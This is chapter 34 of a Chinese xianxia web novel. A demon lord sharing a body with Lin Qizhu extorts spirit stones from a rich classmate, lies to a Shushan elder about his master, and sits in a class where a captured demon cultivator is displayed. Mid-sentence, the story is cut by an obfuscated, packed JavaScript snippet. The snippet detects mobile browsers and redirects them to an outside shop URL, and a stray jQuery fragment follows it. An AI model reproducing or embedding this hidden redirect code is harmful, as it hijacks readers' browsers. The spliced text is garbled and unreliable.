34.蜀山一梦观炎凉5

作品:《放弃修仙的第四年

    “怎么了?”林七竹感觉到这具身体的嘴角浮现出古怪的笑,问的更加小心翼翼了:“又是您仇人?”他这是打算把人留下来,自己偷偷折磨死?


    “江南玉雕扇,江北金做鞍,听过没有?”


    “有些熟悉,玉雕扇……是指卫家?”其他的林七竹不知道,但卫意如好歹是她师兄,卫家就在江南,也是做玉材生意发家的,这一点她打小就知道。


    “后半句就是说江北暨良谢家,谢家做马帮生意,又擅暗器,其财富和你那蠢材师兄相当。”他低低笑了两声,“咱们那两颗灵石和听学的束脩有着落了。”


    林七竹突然就明白了他要做什么。


    赫连缨朝门边瑟缩的人影走去,对方低着头,显然还很害怕,见赫连缨过来,猛地便抬起头来,却是闭着眼睛,喊道:“多谢姑娘善解人意海涵大度!今日之错主要还是因为在下倏忽,日后姑娘有需要,在下一定鼎力相助!”


    “少废话。”赫连缨眯着眼睛笑道:“不要日后,就现在。”


    “啊?现、现在?”少年人睁开眼睛,有些茫然。


    赫连缨看不得这种蠢笨模样,微微蹙起眉头,谢问闲立刻恍然大悟道:“在下身上没有什么灵丹妙药,也没有什么功法秘籍,只有一些灵石和金银俗物,要是姑娘不嫌弃,就让在下先献上些许灵石,可好?”


    赫连缨捋折胸前的发,挑眉:“明日一早送来。”


    谢问闲:“是!”


    “高啊!”如果林七竹有实体,一定会给他竖个大拇指。


    第二天一早,谢问闲便捧了盒匣子在疏风院里等着,见赫连缨推开门,脸上立时堆起憨厚的笑。


    “林道友,早。”


    昨日汤泉里雾气氤氲,林七竹没将这人看仔细,今日一见,却发现这人眼神澄澈,白白嫩嫩,一根红缨束发,通身华服,的确像是个不谙世事的贵公子。


    赫连缨接过对方手里的匣子,打开瞥了眼,满满一盒灵石,别说交束脩,买下间宅子都足够了。林七竹心中大喜,赫连缨面不改色心不跳地合上,收到乾坤袋里。


    谢问闲热情道:“我才知道你也是来蜀山听学的,咱们以后也算是同窗了,我比你早来半个月,年纪应该也比你稍长,算你师兄,你要是遇上什么不懂的,问我便是。这附近有斋堂,寅时和午时都会做些膳食,今早我去逛了一圈,没见你在,就揣了几个馒头,道友垫垫肚子吧?”


    赫连缨斜睨了一眼,不欲搭理,林七竹提醒:“不吃东西,这具身子会饿的。”


    赫连缨:“……”从谢问闲手里拿过一个馒头,他往嘴里塞了口,露出个颇为嫌弃的表情。


    谢问闲道:“可能是放凉了,下次我拿油纸多包几层,揣怀里,就不会凉了。”


    赫连缨:“很好。”


    林七竹:厚颜无耻……


    谢问闲却像个没事人一样,笑着摸了摸后脑勺:“道友还喜欢吃什么,尽管与在下说,洒扫庙宇的活也尽可交给在下。昨日的事情……”


    赫连缨皱眉:“昨日什么事?”


    谢问闲一愣,疯狂摆手:“没什么,昨日什么事情都没发生!别鹤馆到了,道友请!”


    赫连缨冷笑一声,径直进了屋内。


    别鹤馆是蜀山派上早晚课讲学的地方,从前人多,馆内便修得尤其大,可如今弟子渐少,便显得空旷起来。


    蜀山派现在没有掌门,宗门执事是长老宋华。


    这是位老人家了,原本都到了避世享福的年纪,还被硬生生拉出来主持门派大事,显然有些力不从心。赫连缨捧了束脩上去,他也没仔细看,挥挥手便让旁边的朗月收了起来。


    打量了一眼赫连缨,他捋了捋长长的白胡须,问:“你是邛崃秦家的?师承哪位啊?”


    赫连缨皱了皱眉,一时未答。


    林七竹心道:让你胡诌,搬起石头砸自己的脚了吧?


    果然,宋华立时心生怀疑,厉声问:“怎么,自己师从哪位都还要想?”


    赫连缨垂首道:“长老海涵,弟子的师父已于四年前被赫连缨杀害,方才忆及此事,一时伤心难过,故而才迟迟没有开口。”


    “四年前……你是秦远川的徒弟?”


    “正是。”


    “竟是他的徒弟!也难怪你伤心。远川是你们秦家近年来最为出色之人,却死在那魔头的手上,以致多少秦氏功法失传。若是远川还在,秦家也不会凋敝至此……罢了,你如今四处游历听学,难道是想为他报仇?”


    赫连缨微笑:“弟子确有此意。”


    “好好好,既然如此,你在蜀山这段时日须得百倍用功,方不负你这志气和你师父对你的教诲。”


    “长老说的是。”


    “回坐吧。”


    宋华挥了挥袖子,赫连缨便笑眯眯转身,走向挨着谢问闲的座位。林七竹能感受到他脸上加深的笑意,不由一阵胆寒。


    她都能猜到,刚才这位魔尊大人之所以没有立马说出秦远川的名字,并不是因为想要卖关子,而是因为他真的不记得那个被自己杀了的秦氏族人叫啥啊!


    等等!她记得在柳河村时,赫连缨说过秦家从前也算名门,是近些年才势微的,该不会背后的原因就是赫连缨吧?怪不得他提起秦家时的语气,又嫌弃又洋洋得意,搞半天是在暗爽呢?


    那个秦远川秦大侠要是知道自己死了还要给仇人拿去当幌子,怕是得气活过来。


    回到座位,谢问闲倒是一脸星星眼,凑过来说:“林道友原来是秦氏弟子,真厉害,不像我,是个散修,大家都看不起散修。”


    赫连缨没搭理他,过了一会儿,这厮又送来一张纸条,打开一看,上面写着:南山有奇景,午课后我带你去玩可好?


    赫连缨挑眉,将纸条拂到桌下去了。谢问闲见他这般高冷模样,耷拉着眉眼,也不敢继续搭讪了。


    早课是读一些经书典籍,林七竹最不擅长此类,不一会儿便昏昏欲睡。半梦半醒间,她忽听一阵嘈杂,抖擞精神一看,却见课堂前方绑着个麦色肌肤的男子,衣衫褴褛被人押跪在地上,满目憎恨,鲜红的嘴里却发不出任何声音。


    她方才睡了过去,不知经历了什么,只晓得现在赫连缨的表情异常冷漠,袖子里的手却紧紧攒着拳头,似是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413443|200128||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在压抑着什么。


    前方,宋华的身影已经不见,那名叫慕兰的师姐不知何时来的,已代替了讲师的职责,正道:“魔修往往道心不纯,修炼不讲究采集天地灵气,而是学些邪门歪道,这些术法往往需要杀生,甚至连自己的亲人朋友都不放过。换句话说,他们手底下的人命越多,心越狠、越恶、越毒,力量就越强大,这也是为何同为修炼,我们却称他们为魔的原因。”


    谢问闲是个好奇宝宝,早就凑到跟前去,左右端详一圈,道:“这看着也不壮实啊,好像连我也打不过的样子。”


    慕兰道:“切莫大意,这魔修虽然年少,却是方刹宫的人,而且,他还是宁息吾的马前卒。”


    谢问闲瞪大眼睛,激动道:“宁息吾!妖将宁息吾?那这人是不是也……”


    朗月抢道:“没错,和他主人一样,他也是只妖,最劣等的蛇妖!”


    那魔修虽口不能言,却耳聪目明,听到朗月的话,眼中迸出股狠劲儿,起身就要朝朗月撞去,却被牵着他的慕兰扯住绳索。他前进不得,如同卖艺杂耍的猴子一般被拖了回去,于是他转身恶狠狠瞪向牵住他的女子。


    慕兰一巴掌扇到那张消瘦的脸颊上,魔修被打得偏过头去,唾出口血,又冷笑着,执着地转头看向她。


    刻毒的眼神让人生寒,慕兰皱了皱眉。


    “敢这么看着慕兰师姐,挖了他眼睛!”


    众人被激起怒意,那魔修却咯咯笑起来,趁着有人对他动手推攘之际企图咬人,好在又被慕兰制住。


    谢问闲早拍着胸口,躲到清风身后,道:“好凶!师姐,你们从哪里抓到他的?”


    慕兰语塞,咳了咳,道:“我还是先讲其他的吧。”


    谢问闲纳罕道:“为什么?师姐你还没讲是怎么抓到他的呢,你就讲讲嘛。”


    林七竹看慕兰这样遮掩的样子,不禁也升起好奇心,可她也感到赫连缨紧拧眉头,似乎很是愤怒。


    慕兰被谢问闲和几个没听过的小弟子缠得恼人,正要佯作生气喝散众人,朗月却得意道:“这你们都不知道?就藏云宗澄慈真人那点事儿呗!”


    “什么事啊?”


    “是啊,什么事儿啊?你快说啊!”


    朗月咳了咳,一副拿你们没办法的样子,一鼓作气道:“听说就在一年前,澄慈真人和西洲赫连缨爱上了同一个女人,二人大打出手,酣战之际,那女人不顾生死冲上前为澄慈真人挡剑,却被赫连缨不小心一剑刺穿胸口。事后,赫连缨悔恨不已,澄慈真人为爱发狂,不仅打散了赫连缨的魂魄,还屠了一座他用来屯兵的城池,当时守城的便是宁息吾!这宁息吾是赫连缨的先锋,于我们正道有用,澄慈真人没有立时杀他,而是将他和他的部下都关到了咱们蜀山的锁妖塔中。现在,你们明白这小妖的来历了吧。”


    林七竹:“……”


    赫连缨:“……”


    听到别人贴脸议论的自己的八卦,谁能不尴尬。


    林七竹道:“魔尊大人,要不你先出去走走,等他们说完了再回来。”


    赫连缨冷笑:“他们好奇,你就不好奇?”